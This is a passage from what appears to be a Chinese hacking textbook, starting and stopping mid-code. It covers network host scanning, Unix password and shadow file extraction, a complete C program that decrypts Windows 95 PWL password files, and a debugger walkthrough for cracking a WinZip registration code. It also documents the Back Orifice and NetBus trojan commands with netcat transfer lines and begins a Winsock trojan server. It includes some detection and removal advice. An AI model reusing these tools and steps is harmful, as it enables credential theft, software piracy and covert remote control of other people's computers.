printf("Converting address from hex. (%x.%x)/n", a0, a1);
printf("Scanning Class B network %d.%d.../n", a0, a1);
while(j!=256) {
a2=j;
addr[2] = (unsigned char)a2;
jmpC:
if(classC)
if(hex)
printf("Converting address from hex. (%x.%x.%x)/n", a0, a1, a2);
printf("Scanning Class C network %d.%d.%d.../n", a0, a1, a2);
while(i!=256) {
a3=i;
addr[3] = (unsigned char)a3;
jmpS:
if ((host = gethostbyaddr(addr, 4, AF_INET)) != NULL) {
printf("%d.%d.%d.%d => %s/n", a0, a1, a2, a3, host->h_name);
ptr = host->h_aliases;
while (*ptr != NULL) {
printf("%d.%d.%d.%d => %s (alias)/n", a0, a1, a2, a3, *ptr);
ptr++;
}
}
if(single)
exit(0);
i++;
}
if(classC)
exit(0);
j++;
}
} else if(classC) {
addr[2] = (unsigned char)a2;
if(a2>255||a2< 0)
bad_addr(a2);
goto jmpC;
} else if(single) {
addr[2] = (unsigned char)a2;
addr[3] = (unsigned char)a3;
if(a2>255||a2< 0)
bad_addr(a2);
if(a3>255||a3< 0)
bad_addr(a3);
goto jmpS;
}
exit(0);
}
void
bad_addr(addr)
int *addr;
{
printf("value %d is not valid./n", addr);
exit(0);
}

第八章 口令破解
第一节 口令破解器
口令破解器是一个程序,它能将口令解译出来,或者让口令保护失效。口令破解器一般并不是真正地去解码,因为事实上很多加密算法是不可逆的。
也就是说,光是从被加密的数据和加密算法,不可能从它们身上反解出原来未加密的数据。其实大多数口令破解器是通过尝试一个一个的单词,用知道的加密算法来加密这些单词,直到发现一个单词经过加密后的结果和要解密的数据一样,就认为这个单词就是要找的密码了。
这就是目前最有效的方法。这种方法之所以比想象得有效得多的原因是:
许多人在选择密码时,技巧性都不是很好。许多人还认为他的私人数据反正没有放在网上,所以,密码选择也比随便。其实,一个用户在一个系统里有一个帐号,就是一个通入系统的门。如果,其中一个的密码不安全,则整个系统也就是不安全的。由于用户的密码的设置往往都是一些有意义的单词,或者干脆就是用户名本身,使得破解器的尝试次数大为降低。
许多加密算法在选择密钥时,都是通过随机数算法产生的。但往往由于这个随机数算法并不是真正意义上的随机数,从而大大降低了这个随机性,从而为解密提供了一些列的方便。比如,本来,需要尝试1000次,但由于上述随机性并不好,结果使得只需尝试1000次就能成功。
还有一个原因是目前计算机的速度相当的快,而且,互联网的存在,使得协同进行解密的可能性大为增加。这样强的计算能力用到解密上,造成了破解的时间大为降低。
通过上述分析,可见,从理论上来讲,任何密码都是可以破解的,只是一个时间的问题。对于一些安全性较低的系统,速度通常很快。

对于那种需要一个口令或注册码才能安装软件的情况,口令破解会显得更为简单。这种情况你可能会经常遇到。比如安装一个微软的软件,在安装过程中通常需要你输入一个CD-Key,如果这个CD-Key是正确的,那么它就开始安装。如果非法的,那么就退出安装。
通常有两种方法可以使这种方式失效。
一种是修改安装程序。因为这种方法的流程一般是在安装的时候先弹出一个对话框,请求输入CD-Key。接着程序会对输入的CD-Key进行运算,最后根据得到的结果决定是继续安装还是退出。现在有很多调试软件,它们提供丰富的调试功能,如单步执行,设置断点等等。一个比较好的软件是Soft-ICE。在运行安装程序之前,可以在调试软件里设置在系统弹出CD-Key输入对话框的时候停止执行。接着就可以用调试器跟踪代码的执行,将CD-Key判断部分整个的跳过去,直接进入安装程序。
另一个方法就是算法尝试。由于安装程序要对CD-Key进行运算,判断其合法性。因此,只要知道CD-Key的算法,就能轻而易举的进入。
已经有人对为软的这种算法进行了探讨。发现这些算法策略很简单。
第二节 口令破解器是怎样工作的
要知道口令破解器是如何工作的,主要还是要知道加密算法。正如上面所说的,许多口令破解器是对某些单词进行加密,然后在比较。
可以将口令破解器用下面的图来表示:


侯选口令产生器的作用是产生认为可能是密码的单词。通常有好几种方法产生侯选密码。一种是从一个字典里读取一个单词。这种方法的理论根据是许多用户由于取密码有些不是很明智,比如将自己的名字,或者用户名,或者一个好记住的单词等等。所以,攻击这通常都将这些单词收集到一个文件里,叫做字典。在破解密码是,从这些字典里取出侯选密码。
另一种方法是用枚举法来产生这样的单词。通常从一个字母开始,一直增加,知道破解出密码为止。这里,通常要指定组成密码的字符集,比如从A-Z,0-9等等。为了便于协同破解密码,常常需要为密码产生器指定产生的密码的范围。
口令加密就是用一般的加密算法对从口令侯选器送来的单词进行加密。通常,对于攻击不同的系统,要采用不同的加密算法。加密算法有很多,通常是不可逆的。这就是造成了为什么口令破解器使用的是这种结构。
口令比较就是将从口令加密里出来的密文和要破解的密文进行比较。如果一致,那么当前侯选口令发生器中出来的单词就是要找的密码。如果不一致,则口令发生器再产生下一个侯选口令。
下面我们分别介绍Unix和Windows 95屏幕保护程序的密码算法。同时给出破解的源程序。另外还介绍Windows NT口令破解方法。最后再举一个软件注册码破解实例。

Unix口令破解简介
首先讲讲怎样在Unix下得到口令文件。
在标准的Unix系统中,口令文件是/etc/passwd。但是在使用NIS/yp或shadow的系统时,口令数据可能放在别的地方。
口令文件中的每一条目包含7个分号搁开的区域:
用户名
加密的password,口令有效期
用户号码
组号码
GECOS信息
Home目录
Shell

  下面举个实例:
will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash

  上面这个条目包含了下面的信息:
用户名: will
加了密的口令: 5fg63fhD3d5gh
用户号码: 9406
组号码: 12
GECOS信息: Will Spencer
Home目录: /home/fsg/will
Shell: /bin/bash

当入侵者拿到了这个密码文件后,就开始对密码进行破解。当用户登录系统时,Unix将password的内容读入,并对这个密码进行加密,并将运算结果和口令文件中的相比较。
Unix口令破解器的基本结构就是我们前面分析的那种结构。目前较为流行的是John程序。他运行在Windows系统下,并且能很快的破解密码。
那么,对于shadow的口令怎么办呢?口令shadow是指将口令文件中的加了密的口令密文部分用一个特殊的符号表示,真正的密文放在另一个单独的文件里,一般的用户无法读到这个文件。
为了能读到这个文件,写一个程序,通过调用getpwent()函数来得到这个文件。程序举例如下:

#include < pwd.h>
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s/n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}

  那么这个shadow文件放在哪个目录下面呢?
Unix Path Token
-----------------------------------------------------------------
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
SCO Unix #.2.x /tcb/auth/files/< first letter *
of username>/< username>
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
< optional NIS+ private secure maps/tables/whatever>
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *

  对于NIS/yp又怎样呢?
  现在的NIS (Network Information System)以前也叫yp (Yellow Pages)。NIS的目的是允许一个网络上的多台计算机共享配置信息,包括口令数据。NIS的目的是提高系统的安全性。如果你使用的系统是NIS的,那么,口令文件相当小,看上去可能就是:
+::0:0:::
  如果要看真正的口令,需要使用命令:"ypcat passwd"
  在有的口令文件中,还包含一项数据--口令有效期。口令有效期的目的是促使用户在一定的时间后更改口令。这样就能提高系统的安全性。
  /etc/passwd文件中如果保存口令有效期数据的话,这个条目看上去是这样的。
will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash

上面这个条目中,密文后面有一个逗号,逗号后面的便是口令有效期了。这里是:
M.z8

  对这四个字符的解释如下:
1.口令可以不改变而存在的最大的周数。
2.口令在改变之前必须使用的最小的周数。
3&4.口令上次改变的时间,以从1970年算起的周数。

如果1和2设置成"..",表示,下次登录的时候,必须改变口令了。随后口令管理程序会将口令有效期移去,这样,用户以后就没有口令有效期的限制了。
如果3和4设置成"..",表示下次登录时,必须改变口令。口令有效期由前两个字符表示。
如果第一个字符小于第二个字符,就不允许用户改变口令了。只有root才有权力改变这个用户的口令。必须注意,su命令并不检查口令有效期。一个过期的口令可以在使用su是,没有被迫改变口令的要求。

口令有效期代码
+------------------------------------------------------------------------+
| |
| Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H |
| Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
| |
| Character: I J K L M N O P Q R S T U V W X Y Z a b |
| Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
| |
| Character: c d e f g h i j k l m n o p q r s t u v |
| Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
| |
| Character: w x y z |
| Number: 60 61 62 63 |
| |
+------------------------------------------------------------------------+

Windows 95屏幕保护口令密码破解简介
Window95共享目录口令与屏幕保护口令的加密方法是相同的。共享目录的口令密文放在注册表的HKEY_LOCAL_MACHINE/SOFTWARE/micorsoft/windows/current_version/network/lanman/目录名/Parm1enc和Parm2enc两位置,但有时注册库里缺少最后一个字符的密文。明文与数列(前八个数是35,9a,4d,a6,53,a9,d4,6a)作异或运算即得密文。屏幕保护程序的口令密文放在注册表的HKEY_CURRENT_USERS/ControlPanel/desktop/ScreenSave_Data下面。
关于PWL文件的一些说明:14个字符长的密码(均转为大写),用它生成一个32位的密钥,由以下算法求得一个XOR串,接下来用此XOR串 XOR 20字节长的UserName(也转为大写), 结果存于PWL文件offset 0x208-0x21B, 0x21C开始为一系列指向资源串的指针(当然已XOR过了)。资源串中保存的主要是该USER的一些共享目录的口令,资源串也分别与XOR串 XOR。
由注册表数据库system.dat极易解出共享目录, 因此若Win95目录被共享(不需口令)则解出其余需口令的目录就变得比较简单了。但Win95目录没共享怎么办呢?用一个叫 glide 的程序,对从将别的机器上拷回来的PWL文件进行解密。用glide解其资源,很有可能找到所需的password。
但glide程序在反解资源指针时有点问题。下面的程序对glide进行了一点改进。在password未知情况下的反解并不能保证对(这种反解利用了M$的愚蠢的错误,将同一 Xor串用于加密许多不同串), 但在大多情况下应没问题。本程序来自《水木清华》BBS,并已略加改动。

#include < stdio.h>
#include < string.h>
#include < ctype.h>
#include < dir.h>

unsigned char Data[10001]; // pwl file buffer, 10K should enough!
unsigned char keystream[1001]; // xor key stream
int Rpoint[300]; // Resource pointers
int size,maxr,cracked;

void RecoverKeyStream()
{
int sizemask,i,rsz,pos;
int Rall[300];
int keylen,len;

/* find allocated recources */
sizemask=keystream[0]+(keystream[1]< < 8);
for(i=0;i< 256;i++) Rall[i]=0;
maxr=-1;
for(i=0x109;i< 0x208;i++)
{
if(Data[i]!=0xff)
{
Rall[Data[i]]++;
if (Data[i]>maxr) maxr=Data[i];
}
}
if (maxr == -1) return; // no resource
maxr=(((maxr/16)+1)*16);
// recource pointer table size appears to be divisable by 16

/* search after recources */
keylen = 2 * maxr + 20 + 2;
Rpoint[0]=0x0208+keylen; /* first recource */

for(i=0;i< maxr;i++)
{
/* find size of current recource */
pos=Rpoint[i];
if (pos >= size)
{
printf("Decrypt pwl file error!/n");
maxr = i;
break;
}
rsz=Data[pos]+(Data[pos+1]< < 8);
rsz^=sizemask;
pos+=rsz+2;

if(i< maxr-1)
{
while(pos < size)
{
len = (*(unsigned int*)(Data+pos)) ^ sizemask;
if (Rall[i+1] == 0 && len == 0)
break; // correct position
if (Rall[i+1] > 0 && len >= 2 && len < = keylen)
break; // may be correct position ?
pos+=2; // else, increase by 2
}
}
Rpoint[i+1]=pos;
}
Rpoint[maxr]=size;

/* insert Table data into keystream */
for(i=0;i < = maxr;i++)
{
keystream[20+2*i]^=Rpoint[i] & 0x00ff;
keystream[21+2*i]^=(Rpoint[i] >> & 0x00ff;
}
cracked+=maxr*2+2;
}

void DecryptResources()
{
int i,j,rsz;

/* decrypt resources */
for(i=0;i< maxr;i++)
{
rsz=Rpoint[i+1]-Rpoint[i];
if (rsz>cracked) rsz=cracked;

if (rsz > 2)
{
printf("Recource[%02d] (length: %02d)/n",i,rsz);
for(j=0;j< rsz;j++)
{
unsigned char c = Data[Rpoint[i]+j]^keystream[j];
printf("%c", c >= 0x20 && c < = 0x7e ? c : '.');
}
printf("/n");
}
}
}

int main (int argc,char *argv[])
{
struct ffblk ffblk;
int i,done,index = 0;
FILE *fd;
char *name,ch;

if (argc< 2)
{
printf("Usage: Pwl pwlfile(s) (eg: *.pwl)");
return 1;
}

done = findfirst(argv[1],&ffblk,0);
while (!done)
{
name = ffblk.ff_name;
printf("/n-----------File %2d: %11s------------/n", ++index,name);

/* read PWL file */
fd=fopen(name,"rb");
if (fd==NULL)
printf("can't open file %s",name);
else
{
size=0;
while(!feof(fd))
{
Data[size++]=fgetc(fd);
}
size--;
fclose(fd);

/* copy encrypted text into keystream */
cracked=size-0x0208;
if(cracked< 0) cracked=0;
if(cracked>1000) cracked=1000;
memcpy(keystream,Data+0x208,cracked);

/* generate 20 bytes of keystream */
for(i=0;i< 20;i++)
{
ch=toupper(name[i]);
if(ch==0) break;
if(ch=='.') break;
keystream[i]^=ch; // xor UserName
}
cracked=20;
RecoverKeyStream();
// recover key stream (54 bytes or more)
if (maxr == -1)
printf("No resource!/n");
else DecryptResources();
}
done = findnext(&ffblk);
}
return 0;
}

第三节 注册码破解
下面将有关注册码破解的问题。这需要能熟练使用调试软件及有关计算机程序设计的知识。这里只是一个示范讲解。
破解WinZip 6.3 SR-1 (32-bit)
============================

1. 运行WinZip, 选Agree, 选HELP, 选About WinZip, 按R,
Username: 输入 Winter Lee
Register code: 输入 48319840 (随个人习惯)

2. 使用 Ctrl-D 进入WinICE 设断点
BPX HMEMCPY
按F5返回到WinZip中

3. 按OK, 立即被Winice中断

4. 取消断点
BD *

5. 按F12多次, 按F8跟踪进CALL 004096EA中

6. 按F10多次, 运行完CALL 004098C3后, 下指令
D AX
显示一个字符串: 45260FF8

7. 继续按F10运行完CALL 004099E6后, 下指令
D AX
又显示一个字符串: 49041381

8. 怀疑上述两个字符串即是正确的注册码, 重新输入
Username: Winer Lee
Register number: 49041381
注册成功! 用45260FF8 同样成功

第九章 特洛伊木马实例及其简单实现
  这里介绍一个比较阴险的威胁网络安全的方法:特洛伊木马(trojan horse,或trojan)。
第一节 什么是特洛伊木马
  特洛伊木马是一个程序,它驻留在目标计算里。在目标计算机系统启动的时候,自动启动。然后在某一端口进行侦听。如果在该端口受到数据,对这些数据进行识别,然后按识别后的命令,在目标计算机上执行一些操作。比如窃取口令,拷贝或删除文件,或重新启动计算机。
  攻击者一般在入侵某个系统后,想办法将特洛伊拷贝到目标计算机中。并设法运行这个程序,从而留下后门。以后,通过运行该特洛伊的客户端程序,对远程计算机进行操作。
  特洛伊木马的一个特点是,它能巧妙地运行在目标计算机系统里,而不容易被发现。
  现在有许多这样的程序。如NetCat,Back Orifice,NetBus等等。

Back Orifice
Back Orifice简介
  Back Orifice是Cult of the Dead Cow (cDc)在1998年8月3日发布的。目前的下载量达到了100,000。许多人都在善意或恶意地使用这个程序。尽管这个程序并不是最优秀的黑客工具,但由于媒体的炒做,使得这个工具给人么一个很坏的印象。
  Back Orifice被称为“远程管理工具”。它可以附加在别的文件或程序后,也可以单独运行。它的服务器程序必须在目标计算机上运行之后,才能起到作用。一旦运行后,用户就不大容易感觉到它的存在。在任务列表里,根本就看不到它。该工具的服务器运行后,就一直在一个端口侦听从客户机来的命令,根据不同的命令,在目标机器上执行相应的操作。

Back Orifice的使用
  Back Orifice(以下简称BO)是一个客户机/服务器(C/S)应用程序,其客户机程序(以下简称BO客户机)可以监视、管理和使用其它网络中运行服务器程序(以下简称BO服务器)的目标计算机所在的网络资源。基于文本和基于图形的BO客户机是运行在Microsoft Windows机器上。当前版本的BO服务器只能在Windows 95/98中运行。

Back Orifice软件包里包括:
bo.txt 软件包说明文档。
plugin.txt 插件编程文档。
boserve.exe Back Orifice服务器自安装程序。
bogui.exe 图形界面的Back Orifice客户机。
boclient.exe 文本界面的Back Orifice客户机。
boconfig.exe 配置BO服务器程序文件名、端口、密码和插件的工具。
melt.exe 对由freeze命令压缩的文档解压缩。
freeze.exe 压缩文档。压缩文档可被metl命令解压缩。

  只要运行BO服务器程序,就可以安装BO服务器了。当BO服务器程序运行时,它安装BO服务器,然后删除自安装程序。此方法有助于网络环境下的安装:只要BO服务器程序被复制到Startup目录下就行了(译者注:因为Windows 95/98每次启动时都会运行该目录下的程序)。因为BO服务器程序在自安装BO服务器后就会删除自已。一旦BO服务器被安装到一台机器上,它会在每次机器启动时运行。
  需要远程更新Back Orifice时,只要上载新版本的BO服务器程序到远程机上,使用Process spawn命令运行它。一旦运行,BO服务器程序将自动删除与它将要安装的文件同名的文件,安装自已(覆盖旧版本),然后在安装目录中运行自己,最后删除BO服务器程序。
  在安装前,可以配置BO服务器程序的一些参数。如安装后的BO文件名、监听端口、加密密码,都可以使用boconfig.exe工具配置。如果不进行配置,缺省是监听31337端口、不使用加密密码(数据包仍然会加密)和以" .exe"文件名安装。
  BO客户机通过加密了的UDP包与BO服务器通讯。要实现成功通讯,BO客户机城建发送数据到BO服务器监听的端口,而且BO客户机密码必须匹配BO服务器已配置好的密码。
  基于图形和文本的BO客户机都可以通过使用-p选项来设置BO客户机数据包的发送端口。如果数据包被过滤或者有防火墙屏蔽,就可能需要从一个特别的、不会被过滤和屏蔽的端口发送。如果UDP连接通讯不能成功,则可能是数据包在发送或回送路径中被过滤或者屏蔽了。
  从BO客户机向特定的IP地址发送命令即可对BO服务器操作。如果BO服务器无静态IP地址,则可使用以下方法:
(1) 在基于文本的BO客户机使用sweep或sweeplist命令;
(2) 在基于图形的BO客户机使用"Ping..."对话框;
(3) 设定目标IP如"1.2.3.*"。如果扫描子网列表,当有BO服务器响应时,BO客户机在子网列表目录中浏览,并显示所匹配的行和子网地址。(译者注:虽然我知道如何使用,但却无法按原文的内容表达出来。我在以后再作详细说明。)

  以下是在现在版本的Back Orifice中已经实现的命令。在基于图形和基于文本的BO客户机里有些命令名称不相同,但几乎所有命令的语法格式都是一致的。在基于文本的BO客户机中输入 "help command"可得到更多关于命令的信息。在基于图形的BO客户机中有两个参数输入区域,这些参数作为在"Command"列表中所选择的命令的参数。如果未给出命令所需要的参数,BO服务器将返回"Missing data"(丢失数据)。

Back Orifice命令如下:
(基于图形的BO客户机命令/基于文本的BO客户机命令)
App add/appadd
在TCP端口输出一个基于文本的应用程序。它允许你通过Telnet对话控制基于文本或DOS的应用程序。

App del/appdel从监听的连接中关闭一个应用程序。
Apps list/applist列出当前监听的连接中的应用程序。
Directory create/md创建目录
Directory list/dir列出文件和目录。如要显示多文件/目录则须使用通配符。

Directory remove/rd删除目录
Export add/shareadd在BO服务器上创建一个“出口”(共享)。被输出(共享)的目录或驱动器图标不会出现共享图标。
Export delete/sharedel删除一个(共享)“出口”。
Exports list/sharelist列出当前共享名、共享驱动器、共享目录、共享权限和共享密码。
File copy/copy拷贝文件。
File delete/del删除文件。
File find/find在目录中查找符合条件(支持通配符)的文件。
File freeze/freeze压缩文件。
File melt/melt解压缩文件。
File view/view查看文件内容。
HTTP Disable/httpoff使HTTP服务器失效。
HTTP Enable/httpon使HTTP服务器有效。
Keylog begin/keylog将BO服务器上的击键记录在一个文本文件中,同时还记录执行输入的窗口名。
Keylog end停止击键记录。基于文本的BO客户机使用"keylog stop"命令。
MM Capture avi/capavi从视频输入设备(如果存在)捕捉视频和音频信号到avi文件中。
MM Capture frame/capframe从视频输入设备捕捉一个视频帧到一个位图文件中。
MM Capture screen/capscreen捕捉BO服务器屏幕影像到一们位图文件中。
MM List capture devices/listcaps列出视频输入设备。
MM Play sound/sound在BO服务器上播放一个avi文件。
Net connections/netlist列出当前接入和接出的连接。
Net delete/netdisconnect断开BO服务器的一个网络资源连接。
Net use/netconnect把BO服务器连接到一个网络资源。
Net view/netview查看BO服务器上所有的网络接口、域名、服务器和可见的共享“出口”。
Ping host/pingPing主机。返回主机名和BO版本。
Plugin execute/pluginexec运行BO插件。运行不符合BO插件接口的函数可能使B)服务器当机。
Plugin kill/pluginkill命令一个插件关闭。
Plugins list/pluginlist列出当前激活的插件和已存在的插件返回值。
Process kill/prockill终止一个进程。
Process list/proclist列出运行中的进程。
Process spawn/procspawn运行一个程序。在基于图形的BO客户机程序中,如果需要确定第二个参数,进程可能以一个正常的、可见的方式运行,否则进程的运行将是隐蔽或独立的。
Redir add/rediradd重定向接入的TCP连接或UDP数据包到另一个IP地址。
Redir del/redirdel停止端口重定向。
Redir list/redirlist列出激活的端口重定向。
Reg create key/regmakekey在注册表中创建中一个主键。
注:对于所有的注册表命令,不要在注册表键值前加入前导"//"。
Reg delete key/regdelkey从注册表中删除一个主键。
Reg delete value/regdelval删除注册表中的一个键值。
Reg list keys/reglistkeys列出注册表中一个主键下的子键。
Reg list values/reglistvals列出注册表中一个主键的键值。
Reg set value/regsetval设置注册表一个主键的一个键值。键值格式为“类型,值”。对于二进制值(类型为B),值是一个两位的16进制数;对于DWORD(双字)值(类型为D),值是一个十进制数;对于字符串值(类型为S),值是一个文本串。
Resolve host/resolve解析BO服务器的主机名的IP地址。主机名可能是一个Internet主机名或本地网络机器名。
System dialogbox/dialog用所给出的文本和一个"OK"按钮,
在BO服务器上创建一个对话框。可以创建任意多的对话框,对话框的显示是堆叠式的。
System info/info显示BO服务器上的系统信息。包括机器名、当前用户、CPU类型、内存容量及可用内存、Windows版本、驱动器信息(类型(硬盘、CDROM、可拆卸型、远程驱动器)、硬盘驱动器容量及未使用空间)。
System lockup/lockup锁住BO服务器机器。
System passwords/passes显示被缓存的当前用户密码和屏幕保护密码。所显示的密码中可能含有一些无用信息。(译者注:如果密码未被系统缓存,则不能显示密码。)
System reboot/reboot关闭BO服务器主机并重启动。
TCP file receive/tcprecv将BO服务器主机连接到一个特定的IP地址和端口,并保存所接收到的数据到特定文件中。
TCP file send/tcpsend将BO服务器主机连接到一个特定的IP地址和端口,发送特定文件中的内容,然后断开此连接。
注:对于TCP文件传输,必须监听特定的IP地址和端口,直到TCP文件命令被发送,否则传输将会失败。
从BO服务器传输文件,可使用TCP文件发送命令和如下格式的netcat命令:
netcat -l -p 666 > file
传输文件到BO服务器,可使用TCP文件接收命令和如下格式的netcat命令:
netcat -l -p 666 < file
注:Win32版本的netcat命令在到达输入文件末部时并不断开连接。因此应在文件内容传输完毕后用ctrl-c或ctrl-break终止netcat命令。

BOConfig:
  BOConfig.exe允许在BO服务器安装前配置一些可选项。首先询问BO服务器在系统目录中安装的可执行文件名。它不一定是.exe,但如果你不给出扩展名,它不会自动添加.exe扩展名;接着询问exe文件的描述,它描述了在注册表中记录的、系统启动时运行的exe文件;接着询问BO服务器监听(数据包)端口;接着询问用于加密的密码。要实现BO客户机到BO服务器的通讯,客户机必须配置有相同的密码,此密码可以为空;接着询问启动时缺省运行的插件。这个在BO服务器启动时自动运行的BO插件是以"DLL:_Function"格式定义的DLL和函数。此项可以为空;然后让你输入启动时传送给插件的参数,此项也可以为空;最后,询问被附加到BO服务器上的文件的路径。该文件将在BO服务器启动时写入系统目录。此文件可以是一个自动启动的BO插件。
  BO服务器在没有进行配置时也能运行。缺省地,安装BO服务器文件名为" .exe",无密码,使用端口31337通讯。

已知的Bugs和问题:
  多媒体捕捉屏幕——所产生的位图是按BO服务器端的显示分辨率和像素深度保存的。因此,它可能是16位或24位颜色的。大多数图形应用程序只能处理8位或32位位图,因而不能打开此位图,或者显示不正常(此类软件包括Graphics Workshop for Windows、Photoshop和WANG Imaging distributed with Windows)。但是,Windows本身有一个应用程序Paint.exe可以浏览这些位图,按其提示操作即可。
  击键记录——很显然,MS-DOS窗口未提供信息循环机制,这就使得BO无法记录输入到其中的击键。
  基于文本的应用程序的TCP重定向——有几个Bugs。
当用command.com的重定向名柄输出command.com时,系统同时输出REDIR32.EXE,此程序似乎是无法终止的。这可能是由于操作系统接口与一个tsr模块(该模块在DOS对话中被装载以重定向输入/输出句柄)通讯所造成的。因此,如果在应用程序被终止(或退出)前终止TCP连接,REDIR32.exe和WINOA386.MOD(用于封装管理旧16位应用程序)将仍然运行,BO和操作系统均无法终止它们。这会导致系统显示"Please wait..."(请等待)屏幕且无法关机。
  某些控制台应用程序重定向了输出时也可能会发生问题,如FTP.exe和boclient.exe。虽然程序的输出因此而不能传送出去,但仍然可能传送输入,所以你要通过TCP对话使该程序退出。否则使用BO杀死该进程。

Back Orifice的检查和清除
  打开注册表编辑器,检查HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServices主键的键值。如果你在主键看到的如下的一个键值:

Name Data
(缺省) " .exe" (一个空格,一个点号和exe后缀)

  那么你可能已经感染上了Back Orifice了。然后在C:/WINDOWS/SYSTEM目录下,如果发现一个" .exe"文件,文件大小为122K左右,那么你肯定感染了这个程序了。
  清除的方法很简单。首先将上述主键中的有关" .exe"的项目删除,然后重新启动计算机。接着,将C:/WINDOWS/SYSTEM下的" .exe"删除,最后,找一个叫WINDLL.DLL的文件,也将它删除。
  注意,有可能你的系统里有好几个Back Orifice的拷贝,要逐一清除。

NetBus
  Netbus 是一个类似于著名的 Back Orifice 的黑客软件,区别在于它的能力要强出太多。Netbus 通过 TCP/IP 协议,可以远程将应用程序指派到某一套接字端口来运行。这就相当于说可以远程运行目标机器上的 cmd.exe,想想这是多么危险的事情。
  如果不是 the Cult of the Dead Cow 黑客组织在1998年的 DefCon 大会上发布 BackOrifice 工具而引起轩然大波的话,可能大多数人还不会注意到三月份发行的 Netbus。据说 Netbus 是瑞典程序员 Carl-Fredrik Neikter 为了“和朋友们消遣”而编写的。
  粗粗一看,Netbus 似乎没什么危害,只允许黑客控制鼠标,播放声音文件,甚或打开 CD-ROM 托架。但如果深入分析,就不难发现其中大量的破坏性功能,特别它是基于 TCP/IP 协议在 Windows 95、Windows 98、和 Windows NT 上运行的(与 BackOrifice 不同),这大大增加了各种入侵用户系统的可能性。
  Netbus 1.6 版能实现一些相当危险的操作:黑客能够运行远程程序,进行屏幕抓图,在所侵入的计算机浏览器中打开 URL,显示位图,进行服务器管理操作(如更改口令),甚至利用远端的麦克风录制一段声音。更可怕的是:它能在侵入的计算机上显示信息,向毫无戒心的用户提示输入口令,再把该口令返回到入侵者的屏幕上。Netbus 还能关闭 Windows 系统,下载、上载或删除文件。
  11 月 14 日发行 的 Netbus 1.7 新增了更多不正当的功能。如:重定向功能(Redirection)使黑客能够控制网络中的第三台机器,从而伪装成内部客户机。这样,即使路由器拒绝外部地址,只允许内部地址相互通信,黑客也依然可以占领其中一台客户机并对其它无数台机器进行控制。
  V1.7 甚至还能指派应用软件至某个端口。以前只有 Netcat — 黑客的梦幻工具— 用于 Unix 和 NT 时才具有这种功能。例如,黑客可以将 cmd.exe 指派至 Telnet port 23,然后 Telnet 进入该机器,从而接管系统的命令提示符。其危险后果不言自明。
  Netbus 的默认状态是在 port 12345 接收指令,在 port 12346 作应答。Telnet 登录到接收端口就会看到产品名称及版本号,还可以修改口令。Netbus 能通过编辑 patch.ini 配置文件,把 1 到 65535 之间的任意数字指定为端口。当需要绕过防火墙或路由过滤器时,端口通常就会设为 53(DNS)或 80(HTTP)。
  所有的特洛伊木马都分成两个部分:服务器和客户机。
  V1.7版本的NetBus的服务器的默认文件名是patch.exe。运行这个程序后,它将自己拷贝到Windows目录下,并从中解开一个叫KeyHook.dll的动态连接库。默认的,它创建一个主键HKEY_CURRENT_USER/PATCH。并在HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run下创建了一个键,它的值是patch.exe文件的路径名。这使得在每次系统启动时,都能自动运行patch.exe这个程序。除此外,还创建下面两个键:HKEY_CURRENT_USER/NETBUS和HKEY_CURRENT_USER/NETBUS/Settings
  按照上面的描述,清除方法就自然出来了。
第二节 特洛伊木马的一个简单实现
通过上面的两个实例介绍,基本上就能看出特洛伊木马的工作原理。这里我们仅仅介绍用Winsock实现的一个客户机程序和一个服务端程序。
这个实例中的服务器在接到客户机的命令后会重新启动计算机。
  可以在这两个程序的基础上,加入一些命令,对目标系统进行一些修改。比如拷贝文件等等。
  这两个程序是从微软的MSDN上拿下来的,略微作了点增加。在VC++6.0中编译运行的。注意在连接的时候要加入:wsock32.lib库。
ExitWindowsEx 函数介绍
ExitWindowsEx函数的功能是关闭系统,注销用户和重新启动系统。
它的函数原型是:
BOOL ExitWindowsEx( UINT uFlags, DWORD dwReserved);
第一个参数用来指定操作的类型。
常见的有下面几个:
EWX_POWEROFF:关闭系统及关闭电源。
EWX_REBOOT:重新启动计算机。
EWX_SHUTDOWN:关闭系统,但不关闭电源。
第二个参数可以指定任意值,并没有特定意义。
具体有关在Linux和Windows下进行SOCKET编程的细节,请参见相关章节。

服务器程序:
#include < windows.h>
#include < winsock.h>

#define PORTNUM 5000 // Port number
#define MAX_PENDING_CONNECTS 4 // Maximum length of the queue
// of pending connections
int WINAPI WinMain (
HINSTANCE hInstance, // Handle to the current instance
HINSTANCE hPrevInstance,// Handle to the previous instance
LPTSTR lpCmdLine, // Pointer to the command line
int nCmdShow) // Show state of the window
{
int index = 0, // Integer index
iReturn; // Return value of recv function
char szServerA[100]; // ASCII string
TCHAR szServerW[100]; // UNICODE string
TCHAR szError[100]; // Error message string

SOCKET WinSocket = INVALID_SOCKET, // Window socket
ClientSock = INVALID_SOCKET; // Socket for communicating
// between the server and client
SOCKADDR_IN local_sin, // Local socket address
accept_sin; // Receives the address of the
// connecting entity
int accept_sin_len; // Length of accept_sin

WSADATA WSAData; // Contains details of the Windows
// Sockets implementation

// Initiate Windows Sockets.
if (WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
wsprintf (szError, TEXT("WSAStartup failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
return FALSE;
}

// Create a TCP/IP socket, WinSocket.
if ((WinSocket = socket (AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
{
wsprintf (szError, TEXT("Allocating socket failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
